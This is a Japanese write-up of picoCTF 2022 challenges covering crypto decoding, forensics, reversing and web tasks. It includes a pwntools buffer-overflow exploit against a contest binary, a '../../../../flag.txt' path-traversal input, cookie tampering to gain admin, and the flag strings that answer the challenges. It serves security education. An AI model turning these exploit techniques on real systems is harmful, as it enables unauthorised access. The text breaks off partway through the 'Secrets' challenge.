picoCTF 2022 Writeup

この大会は2022/3/16 2:00(JST)~2022/3/30 5:00(JST)に開催されました。
今回もチームで参戦。結果は11500点で7794チーム中296位でした。
自分で解けた問題をWriteupとして書いておきます。

basic-file-exploit (Binary Exploitation 100)

1で適当なデータを登録後、2で読み取るエントリナンバーを数字でなく文字列で指定すればよい。

$ nc saturn.picoctf.net 53641
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
hoge
hoge
Please enter the length of your data:
4
4
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
abcd
abcd
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_C5BC1889}
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_C5BC1889}

basic-mod1 (Cryptography 100)

各数値のmod 37を計算し、0~25は英大文字、26~35は10進数、36は_で置き換える。

#!/usr/bin/env python3
import string

with open('message.txt', 'r') as f:
    enc = [int(c) for c in f.read().split(' ')[:-1]]

flag = ''
for c in enc:
    code = c % 37
    if code < 26:
        flag += string.ascii_uppercase[code]
    elif code < 36:
        flag += string.digits[code - 26]
    else:
        flag += '_'
print(flag)

復号結果は以下の通り。

R0UND_N_R0UND_CE58A3A0
picoCTF{R0UND_N_R0UND_CE58A3A0}

basic-mod2 (Cryptography 100)

各数値のmod 41を計算し、その逆数が1~26は英大文字、27~36は10進数、37は_で置き換える。

#!/usr/bin/env python3
import string
from Crypto.Util.number import *

with open('message.txt', 'r') as f:
    enc = [int(c) for c in f.read().split(' ')[:-1]]

flag = ''
for c in enc:
    code = inverse(c % 41, 41)
    if code >= 1 and code < 27:
        flag += string.ascii_uppercase[code - 1]
    elif code < 37:
        flag += string.digits[code - 27]
    elif code == 37:
        flag += '_'
print(flag)

復号結果は以下の通り。

1NV3R53LY_H4RD_B7FB947C
picoCTF{1NV3R53LY_H4RD_B7FB947C}

buffer overflow 0 (Binary Exploitation 100)

20バイト以上文字列を入力すると、セグメント不正が起こり、フラグが表示される。

$ nc saturn.picoctf.net 65445
Input: aaaaaaaaaaaaaaaaaaaaa
picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}
picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}

credstuff (Cryptography 100)

usernames.txtのcultirisの行と同じ行のデータをpasswords.txtから取り出す。さらに取り出した文字列をrot13で復号する。

#!/usr/bin/env python3
import codecs

with open('usernames.txt', 'r') as f:
    usernames = f.read().splitlines()

with open('passwords.txt', 'r') as f:
    passwords = f.read().splitlines()

index = usernames.index('cultiris')
password = passwords[index]
flag = codecs.decode(password, 'rot-13')
print(flag)
picoCTF{C7r1F_54V35_71M3}

CVE-XXXX-XXXX (Binary Exploitation 100)

Windows Print Spooler Serviceで2021年に最初に記録されたリモートコード実行(RCE)の脆弱性のCVE番号を答える問題。「Windows Print Spooler Service 2021 CVE」でGoogle検索すると、CVE番号がわかる。

picoCTF{CVE-2021-34527}

Enhance! (Forensics 100)

添付のsvgファイルをテキストエディタで見ると、ところどころフラグの断片が埋め込まれている。

          :
         id="tspan3748">p </tspan><tspan
          :
         id="tspan3754">i </tspan><tspan
          :
         id="tspan3756">c </tspan><tspan
          :
         id="tspan3758">o </tspan><tspan
          :
         id="tspan3760">C </tspan><tspan
          :
         id="tspan3762">T </tspan><tspan
          :
         id="tspan3764">F { 3 n h 4 n </tspan><tspan
          :
         id="tspan3752">c 3 d _ 5 6 e 8 7 c 9 6 }</tspan></text>
          :
picoCTF{3nh4nc3d_56e87c96}

file-run1 (Reverse Engineering 100)

実行するだけ。

$ ./run
The flag is: picoCTF{U51N6_Y0Ur_F1r57_F113_2a4dec6a}
picoCTF{U51N6_Y0Ur_F1r57_F113_2a4dec6a}

file-run2 (Reverse Engineering 100)

問題に指定されている引数を指定し、実行する。

$ ./run Hello!
The flag is: picoCTF{F1r57_4rgum3n7_0097836e}
picoCTF{F1r57_4rgum3n7_0097836e}

File types (Forensics 100)

$ file Flag.pdf 
Flag.pdf: shell archive text

$ binwalk Flag.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Executable script, shebang: "/bin/sh"
168           0xA8            Executable script, shebang: "/bin/sh' line above, then type 'sh FILE'."
3029          0xBD5           uuencoded data, file name: "flag", file permissions: "600"

uuencode文字列部分をデコードし、ファイル出力する。

#!/usr/bin/env python3
import uu

uu.decode('uu.txt', 'flag')
$ file flag
flag: current ar archive
$ mv flag flag.ar
$ ar x flag.ar
$ file flag
flag: cpio archive
$ mv flag flag.cpio
$ cpio -id < flag.cpio flag
2 ブロック
$ file flag
flag: bzip2 compressed data, block size = 900k
$ mv flag flag.bz2
$ bzip2 -d flag.bz2
$ file flag
flag: gzip compressed data, was "flag", last modified: Tue Mar 15 06:50:49 2022, from Unix
$ mv flag flag.gz
$ gzip -d flag.gz
$ file flag
flag: lzip compressed data, version: 1
$ mv flag flag.lz
$ lzip -d flag.lz
$ file flag
flag: LZ4 compressed data (v1.4+)
$ mv flag flag.lz4
$ lz4 -d flag.lz4
Decoding file flag 
Successfully decoded 263 bytes
$ file flag
flag: LZMA compressed data, non-streamed, size 252
$ mv flag flag.lzma
$ xz --format=lzma --decompress flag.lzma 
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ file flag
flag: lzop compressed data - version 1.040, LZO1X-1, os: Unix
$ mv flag flag.lzo
$ lzop -d flag.lzo
$ file flag
flag: lzip compressed data, version: 1
$ mv flag flag.lz
$ lzip -d flag.lz
$ file flag
flag: XZ compressed data
$ mv flag flag.xz
$ xz -d flag.xz 
xz: flag: ファイルのパーミッションを設定できません: 定義されたデータ型に対して値が大きすぎます
$ file flag
flag: ASCII text
$ cat flag
7069636f4354467b66316c656e406d335f6d406e3170756c407431306e5f
6630725f3062326375723137795f37353137353362307d0a
$ cat flag | xxd -r -p
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_751753b0}
picoCTF{f1len@m3_m@n1pul@t10n_f0r_0b2cur17y_751753b0}

GDB Test Drive (Reverse Engineering 100)

問題のgdbチュートリアルを参考に実行する。

$ gdb -q ./gdbme
Reading symbols from ./gdbme...(no debugging symbols found)...done.
gdb-peda$ break *(main+99)
Breakpoint 1 at 0x132a
gdb-peda$ run
Starting program: /mnt/hgfs/Shared/gdbme 

[----------------------------------registers-----------------------------------]
RAX: 0x6230624760433530 ('05C`Gb0b')
RBX: 0x0 
RCX: 0x555555555390 (<__libc_csu_init>:	endbr64)
RDX: 0x4e60626665333236 ('623efb`N')
RSI: 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme")
RDI: 0x186a0 
RBP: 0x7fffffffddf0 --> 0x555555555390 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffdda0 --> 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme")
RIP: 0x55555555532a (<main+99>:	call   0x555555555110 <sleep@plt>)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555120 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555531d <main+86>:	mov    QWORD PTR [rbp-0x18],rdx
   0x555555555321 <main+90>:	mov    BYTE PTR [rbp-0x10],0x0
   0x555555555325 <main+94>:	mov    edi,0x186a0
=> 0x55555555532a <main+99>:	call   0x555555555110 <sleep@plt>
   0x55555555532f <main+104>:	lea    rax,[rbp-0x30]
   0x555555555333 <main+108>:	mov    rsi,rax
   0x555555555336 <main+111>:	mov    edi,0x0
   0x55555555533b <main+116>:	call   0x555555555209 <rotate_encrypt>
Guessed arguments:
arg[0]: 0x186a0 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdda0 --> 0x7fffffffded8 --> 0x7fffffffe22e ("/mnt/hgfs/Shared/gdbme")
0008| 0x7fffffffdda8 --> 0x100f0b5ff 
0016| 0x7fffffffddb0 --> 0xc2 
0024| 0x7fffffffddb8 --> 0x5555555553dd (<__libc_csu_init+77>:	add    rbx,0x1)
0032| 0x7fffffffddc0 ("A:4@r%uL5b3F88bC05C`Gb0b623efb`N")
0040| 0x7fffffffddc8 ("5b3F88bC05C`Gb0b623efb`N")
0048| 0x7fffffffddd0 ("05C`Gb0b623efb`N")
0056| 0x7fffffffddd8 ("623efb`N")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000055555555532a in main ()
gdb-peda$ jump *(main+104)
Continuing at 0x55555555532f.
picoCTF{d3bugg3r_dr1v3_3eab6731}
[Inferior 1 (process 84735) exited normally]
Warning: not running
picoCTF{d3bugg3r_dr1v3_3eab6731}

Includes (Web Exploitatiojn 100)

HTMLソースで読み込んでいるcssとjsを順に見ていく。まずhttp://saturn.picoctf.net:52514/style.cssを見ると、コメントにフラグの断片がある。

/*  picoCTF{1nclu51v17y_1of2_  */

http://saturn.picoctf.net:52514/script.jsを見ると、コメントにフラグの断片がある。

//  f7w_2of2_5a94a145}
picoCTF{1nclu51v17y_1of2_f7w_2of2_5a94a145}

Inspect HTML (Web Exploitation 100)

HTMLソースを見たら、コメントにフラグが書いてあった。

picoCTF{1n5p3t0r_0f_h7ml_b101a689}

Local Authority (Web Exploitation 100)

http://saturn.picoctf.net:50959/login.phpのHTMLソースを見る。さらにそのページでリンクされているsecure.jsを見る。

function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

admin / strongPassword098765 でログインすると、フラグが表示された。

picoCTF{j5_15_7r4n5p4r3n7_b964a657}

Lookey here (Forensics 100)

$ strings anthem.flag.txt | grep picoCTF{
      we think that the men of picoCTF{gr3p_15_@w3s0m3_0abe82b2}
picoCTF{gr3p_15_@w3s0m3_0abe82b2}

morse-code (Cryptography 100)

https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでwavからモールス信号をデコードする。

WH47 H47H 90D W20U9H7
picoCTF{wh47_h47h_90d_w20u9h7}

Packets Primer (Forensics 100)

No.4のパケットのData部にフラグが1文字ずつスペース区切りで入っていた。

picoCTF{p4ck37_5h4rk_309456e4}

patchme.py (Reverse Engineering 100)

passwordを正しく入れれば、フラグが表示される。passwordはコードにある文字列を連結させるだけでよい。

password = "ak98-=90adfjhgj321sleuth9000"
$ python3 patchme.flag.py 
Please enter correct password for flag: ak98-=90adfjhgj321sleuth9000
Welcome back... your flag, user:
picoCTF{p47ch1ng_l1f3_h4ck_68aa6913}
picoCTF{p47ch1ng_l1f3_h4ck_68aa6913}

rail-fence (Cryptography 100)

レールフェンス暗号。https://www.dcode.fr/rail-fence-cipherで復号する。レール数は4とわかっているので、それを利用する。

The flag is: WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_D81DB8E3
picoCTF{WH3R3_D035_7H3_F3NC3_8361N_4ND_3ND_D81DB8E3}

Redaction gone wrong (Forensics 100)

PDFを開くと部分的にマスクされている。全選択してコピペする。

Financial Report for ABC Labs, Kigali, Rwanda for the year 2021.
Breakdown - Just painted over in MS word.
Cost Benefit Analysis
Credit Debit
This is not the flag, keep looking
Expenses from the
picoCTF{C4n_Y0u_S33_m3_fully}
Redacted document.
picoCTF{C4n_Y0u_S33_m3_fully}

Safe Opener (Reverse Engineering 100)

パスワードをbase64エンコードして、"cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz"と比較しているので、デコードする。

$ echo cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz | base64 -d
pl3as3_l3t_m3_1nt0_th3_saf3
picoCTF{pl3as3_l3t_m3_1nt0_th3_saf3}

Search source (Web Exploitation 100)

どこにフラグが書かれているかわからないので、サイトに利用されているファイルをすべてダウンロードして、検索する。

$ wget -r -l 0 http://saturn.picoctf.net:56849/
        :
        :
$ grep -rl picoCTF .
./saturn.picoctf.net:56849/css/style.css
$ cat ./saturn.picoctf.net:56849/css/style.css | grep picoCTF
/** banner_main picoCTF{1nsp3ti0n_0f_w3bpag3s_74784981} **/
picoCTF{1nsp3ti0n_0f_w3bpag3s_74784981}

Sleuthkit Intro (Forensics 100)

Linuxパーティションサイズをサーバにサブミットする。

$ mmls disk.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000204799   0000202752   Linux (0x83)

Linuxパーティションサイズは202752。

$ nc saturn.picoctf.net 52279
What is the size of the Linux partition in the given disk image?
Length in sectors: 202752
202752
Great work!
picoCTF{mm15_f7w!}
picoCTF{mm15_f7w!}

substitution0 (Cryptography 100)

http://quipqiup.com/で復号する。

ABCDEFGHIJKLMNOPQRSTUVWXYZ Hereupon Legrand arose, with a grave and stately air, and brought me the beetle from a glass case in which it was enclosed. It was a beautiful scarabaeus, and, at that time, unknown to naturalists—of course a great prize in a scientific point of view. There were two round black spots near one extremity of the back, and a long one near the other. The scales were exceedingly hard and glossy, with all the appearance of burnished gold. The weight of the insect was very remarkable, and, taking all things into consideration, I could hardly blame Jupiter for his opinion respecting it. The flag is: picoCTF{5UB5717U710N_3V0LU710N_B1D36772}
picoCTF{5UB5717U710N_3V0LU710N_B1D36772}

substitution1 (Cryptography 100)

http://quipqiup.com/で復号する。

CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is: picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E5B0CCDB}
picoCTF{FR3QU3NCY_4774CK5_4R3_C001_E5B0CCDB}

substitution2 (Cryptography 100)

http://quipqiup.com/で復号し、それを参考にスクリプトで対応する文字を置換する。

#!/usr/bin/env python3
import string

with open('message.txt', 'r') as f:
    ct = f.read()

C = 'abcdefghijklmnopqrstuvwxyz'
P = 'rwuha*ynetlgiofvmxps*kbc*d'

pt = ''
for c in ct:
    if c in string.ascii_lowercase:
        pt += P[C.index(c)]
    elif c in string.ascii_uppercase:
        pt += P[C.index(c.lower())].upper()
    else:
        pt += c
print(pt)

復号結果は以下の通り。

thereexistseveralotherwellestablishedhighschoolcomputersecuritycompetitionsincludingcyberpatriotanduscyberchallengethesecompetitionsfocusprimarilyonsystemsadministrationfundamentalswhichareveryusefulandmarketableskillshoweverwebelievetheproperpurposeofahighschoolcomputersecuritycompetitionisnotonlytoteachvaluableskillsbutalsotogetstudentsinterestedinandexcitedaboutcomputersciencedefensivecompetitionsareoftenlaboriousaffairsandcomedowntorunningchecklistsandexecutingconfigscriptsoffenseontheotherhandisheavilyfocusedonexplorationandimprovisationandoftenhaselementsofplaywebelieveacompetitiontouchingontheoffensiveelementsofcomputersecurityisthereforeabettervehiclefortechevangelismtostudentsinamericanhighschoolsfurtherwebelievethatanunderstandingofoffensivetechni*uesisessentialformountinganeffectivedefenseandthatthetoolsandconfigurationfocusencounteredindefensivecompetitionsdoesnotleadstudentstoknowtheirenemyaseffectivelyasteachingthemtoactivelythinklikeanattackerpicoctfisanoffensivelyorientedhighschoolcomputersecuritycompetitionthatseekstogenerateinterestincomputerscienceamonghighschoolersteachingthemenoughaboutcomputersecuritytopi*uetheircuriositymotivatingthemtoexploreontheirownandenablingthemtobetterdefendtheirmachinestheflagispicoCTF{N6R4M_4N41Y515_15_73D10U5_6CF50B5C}
picoCTF{N6R4M_4N41Y515_15_73D10U5_6CF50B5C}

transposition-trial (Cryptography 100)

heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VE1A1D3D}B

3バイトごとに012が120になるように転置されているので、元に戻す。

#!/usr/bin/env python3
ct = 'heTfl g as iicpCTo{7F4NRP051N5_16_35P3X51N3_VE1A1D3D}B'

pt = ''
for i in range(0, len(ct), 3):
    pt += ct[i+2] + ct[i:i+2]
print(pt)

復号結果は以下の通り。

The flag is picoCTF{7R4N5P051N6_15_3XP3N51V3_AE131DBD}
picoCTF{7R4N5P051N6_15_3XP3N51V3_AE131DBD}

unpackme.py (Reverse Engineering 100)

plain.decode()を標準出力する。

pw = input('What\'s the password? ')

if pw == 'batteryhorse':
  print('picoCTF{175_chr157m45_45a1a353}')
else:
  print('That password is incorrect.')
picoCTF{175_chr157m45_45a1a353}

Vigenere (Cryptography 100)

Vigenere暗号。https://www.dcode.fr/vigenere-cipherで復号する。

picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_b0fq78b8}

bloat.py (Reverse Engineering 200)

コードが読みにくいので、a[数値]を展開したコードにする。

>>> a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
...             "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
>>> a[71]+a[64]+a[79]+a[79]+a[88]+a[66]+a[71]+a[64]+a[77]+a[66]+a[68]
'happychance'
>>> a[51]+a[71]+a[64]+a[83]+a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+\
... a[81]+a[67]+a[94]+a[72]+a[82]+a[94]+a[72]+a[77]+a[66]+a[78]+a[81]+\
... a[81]+a[68]+a[66]+a[83]
'That password is incorrect'
>>> a[81]+a[64]+a[79]+a[82]+a[66]+a[64]+a[75]+\
... a[75]+a[72]+a[78]+a[77]
'rapscallion'
>>> a[47]+a[75]+a[68]+a[64]+a[82]+a[68]+a[94]+a[68]+a[77]+a[83]+\
... a[68]+a[81]+a[94]+a[66]+a[78]+a[81]+a[81]+a[68]+a[66]+a[83]+\
... a[94]+a[79]+a[64]+a[82]+a[82]+a[86]+a[78]+a[81]+a[67]+a[94]+\
... a[69]+a[78]+a[81]+a[94]+a[69]+a[75]+a[64]+a[70]+a[25]+a[94]
'Please enter correct password for flag: '
>>> a[54]+a[68]+a[75]+a[66]+a[78]+a[76]+a[68]+a[94]+a[65]+a[64]+a[66]+\
... a[74]+a[13]+a[13]+a[13]+a[94]+a[88]+a[78]+a[84]+a[81]+a[94]+a[69]+\
... a[75]+a[64]+a[70]+a[11]+a[94]+a[84]+a[82]+a[68]+a[81]+a[25]
'Welcome back... your flag, user:'
a = "!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "

def arg133(arg432):
  if arg432 == 'happychance':
    return True
  else:
    print('That password is incorrect')
    sys.exit(0)
    return False

def arg111(arg444):
  return arg122(arg444.decode(), 'rapscallion')

def arg232():
  return input('Please enter correct password for flag: ')

def arg132():
  return open('flag.txt.enc', 'rb').read()

def arg112():
  print('Welcome back... your flag, user:')

def arg122(arg432, arg423):
    arg433 = arg423
    i = 0
    while len(arg433) < len(arg432):
        arg433 = arg433 + arg423[i]
        i = (i + 1) % len(arg423)        
    return "".join([chr(ord(arg422) ^ ord(arg442)) for (arg422,arg442) in zip(arg432,arg433)])

arg444 = arg132()
arg432 = arg232()
arg133(arg432)
arg112()
arg423 = arg111(arg444)
print(arg423)
sys.exit(0)

パスワードに"happychanceと入力すればよさそう。

$ python3 bloat.flag.py
Please enter correct password for flag: happychance  
Welcome back... your flag, user:
picoCTF{d30bfu5c4710n_f7w_1763a697}
picoCTF{d30bfu5c4710n_f7w_1763a697}

buffer overflow 1 (Binary Exploitation 200)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=96273c06a17ba29a34bdefa9be1a15436d5bad81, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, time to return... Fingers Crossed... Jumping to 0x41414641

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x61414145 ('EAAa')
ECX: 0x41 ('A')
EDX: 0xf7faf890 --> 0x0 
ESI: 0xf7fae000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcfb0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcfb4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcfb8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcfbc ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcfc0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcfc4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcfc8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcfcc ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 59458)
else:
    p = process('./vuln')

elf = ELF('./vuln')

win_addr = elf.symbols['win']

payload = b'A' * 44
payload += p32(win_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip().decode()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 59458: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
Please enter your string:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x91\x04\x08'
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_586b0fef}
[*] Closed connection to saturn.picoctf.net port 59458
picoCTF{addr3ss3s_ar3_3asy_586b0fef}

diffie-hellman (Cryptography 200)

AliceとBobの秘密鍵がわかっているので、共有鍵を算出できる。あとは英大文字と数字の文字列でその共有鍵分だけシフトして復号する。

#!/usr/bin/python3
import string

p = 13
g = 5
priv_a = 7
priv_b = 3

key = pow(g, priv_a * priv_b, p)

with open('message.txt', 'r') as f:
    ct = f.read()

chars = string.ascii_uppercase + string.digits

pt = ''
for c in ct:
    if c in chars:
        index = (chars.index(c) - key) % len(chars)
        pt += chars[index]
    else:
        pt += c

print(f'picoCTF{{{pt}}}')
picoCTF{C4354R_C1PH3R_15_4_817_0U7D473D_8D48432A}

Forbidden Paths (Web Exploitation 200)

ファイルを読み取るWebサイト。相対パスでフラグを読み取る。以下を入力して[Read]ボタンを押すと、フラグが表示された。

../../../../flag.txt
picoCTF{7h3_p47h_70_5ucc355_32e3a320}

Fresh Java (Reverse Engineering 200)

classファイルをBytecodeViewerで開き、デコンパイルする。

import java.util.Scanner;

public class KeygenMe {
   public static void main(String[] var0) {
      Scanner var1 = new Scanner(System.in);
      System.out.println("Enter key:");
      String var2 = var1.nextLine();
      if (var2.length() != 34) {
         System.out.println("Invalid key");
      } else if (var2.charAt(33) != '}') {
         System.out.println("Invalid key");
      } else if (var2.charAt(32) != '7') {
         System.out.println("Invalid key");
      } else if (var2.charAt(31) != '9') {
         System.out.println("Invalid key");
      } else if (var2.charAt(30) != '9') {
         System.out.println("Invalid key");
      } else if (var2.charAt(29) != '3') {
         System.out.println("Invalid key");
      } else if (var2.charAt(28) != '2') {
         System.out.println("Invalid key");
      } else if (var2.charAt(27) != 'e') {
         System.out.println("Invalid key");
      } else if (var2.charAt(26) != '4') {
         System.out.println("Invalid key");
      } else if (var2.charAt(25) != '8') {
         System.out.println("Invalid key");
      } else if (var2.charAt(24) != '_') {
         System.out.println("Invalid key");
      } else if (var2.charAt(23) != 'd') {
         System.out.println("Invalid key");
      } else if (var2.charAt(22) != '3') {
         System.out.println("Invalid key");
      } else if (var2.charAt(21) != 'r') {
         System.out.println("Invalid key");
      } else if (var2.charAt(20) != '1') {
         System.out.println("Invalid key");
      } else if (var2.charAt(19) != 'u') {
         System.out.println("Invalid key");
      } else if (var2.charAt(18) != 'q') {
         System.out.println("Invalid key");
      } else if (var2.charAt(17) != '3') {
         System.out.println("Invalid key");
      } else if (var2.charAt(16) != 'r') {
         System.out.println("Invalid key");
      } else if (var2.charAt(15) != '_') {
         System.out.println("Invalid key");
      } else if (var2.charAt(14) != 'g') {
         System.out.println("Invalid key");
      } else if (var2.charAt(13) != 'n') {
         System.out.println("Invalid key");
      } else if (var2.charAt(12) != '1') {
         System.out.println("Invalid key");
      } else if (var2.charAt(11) != 'l') {
         System.out.println("Invalid key");
      } else if (var2.charAt(10) != '0') {
         System.out.println("Invalid key");
      } else if (var2.charAt(9) != '0') {
         System.out.println("Invalid key");
      } else if (var2.charAt(8) != '7') {
         System.out.println("Invalid key");
      } else if (var2.charAt(7) != '{') {
         System.out.println("Invalid key");
      } else if (var2.charAt(6) != 'F') {
         System.out.println("Invalid key");
      } else if (var2.charAt(5) != 'T') {
         System.out.println("Invalid key");
      } else if (var2.charAt(4) != 'C') {
         System.out.println("Invalid key");
      } else if (var2.charAt(3) != 'o') {
         System.out.println("Invalid key");
      } else if (var2.charAt(2) != 'c') {
         System.out.println("Invalid key");
      } else if (var2.charAt(1) != 'i') {
         System.out.println("Invalid key");
      } else if (var2.charAt(0) != 'p') {
         System.out.println("Invalid key");
      } else {
         System.out.println("Valid key");
      }
   }
}

インデックス0から順に、チェックして文字を結合する。

picoCTF{700l1ng_r3qu1r3d_84e23997}

Power Cookie (Web Exploitation 200)

[Continue as guest]をクリックすると、CookieのisAdminに0が設定される。CookieのisAdminに1を設定し、リロードすると、フラグが表示された。

picoCTF{gr4d3_A_c00k13_87608ba8}

Roboto Sans (Web Exploitation 200)

http://saturn.picoctf.net:57329/robots.txtにアクセスする。

User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

base64文字列がいくつかあるので、デコードする。

$ echo ZmxhZzEudHh0 | base64 -d
flag1.txt

$ echo anMvbXlmaWxlLnR4dA== | base64 -d
js/myfile.txt

http://saturn.picoctf.net:57329/js/myfile.txtにアクセスしたら、フラグが表示された。

picoCTF{Who_D03sN7_L1k5_90B0T5_87ccf72a}

RPS (Binary Exploitation 200)

勝ちの判定はコンピュータの手の対応するlosesの値が自分の手に含まれているかどうかで行っている。"rock", "paper", "scissors"すべてが含まれる文字列を指定すれば必ず勝つ。

$ nc saturn.picoctf.net 53296
Welcome challenger to the game of Rock, Paper, Scissors
For anyone that beats me 5 times in a row, I will offer up a flag I found
Are you ready?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1


Please make your selection (rock/paper/scissors):
rockpaperscissors
rockpaperscissors
You played: rockpaperscissors
The computer played: rock
You win! Play again?
Congrats, here's the flag!
picoCTF{50M3_3X7R3M3_1UCK_8525F21D}
Type '1' to play a game
Type '2' to exit the program
picoCTF{50M3_3X7R3M3_1UCK_8525F21D}

Secrets (Web Exploitation 200)

http://saturn.picoctf.net:49810/about.htmlのHTMLソースを見ると、secret/assets/index.cssへのリンクがある。
http://saturn.picoctf.net:49810/secret/にアクセスし、HTMLソースを見ると、hidden/file.cssへのリンクがある。
http://saturn.picoctf.net:49810/secret/hidden/にアクセスし、HTMLソースを見ると、superhidden/login.cssへのリンクがある。
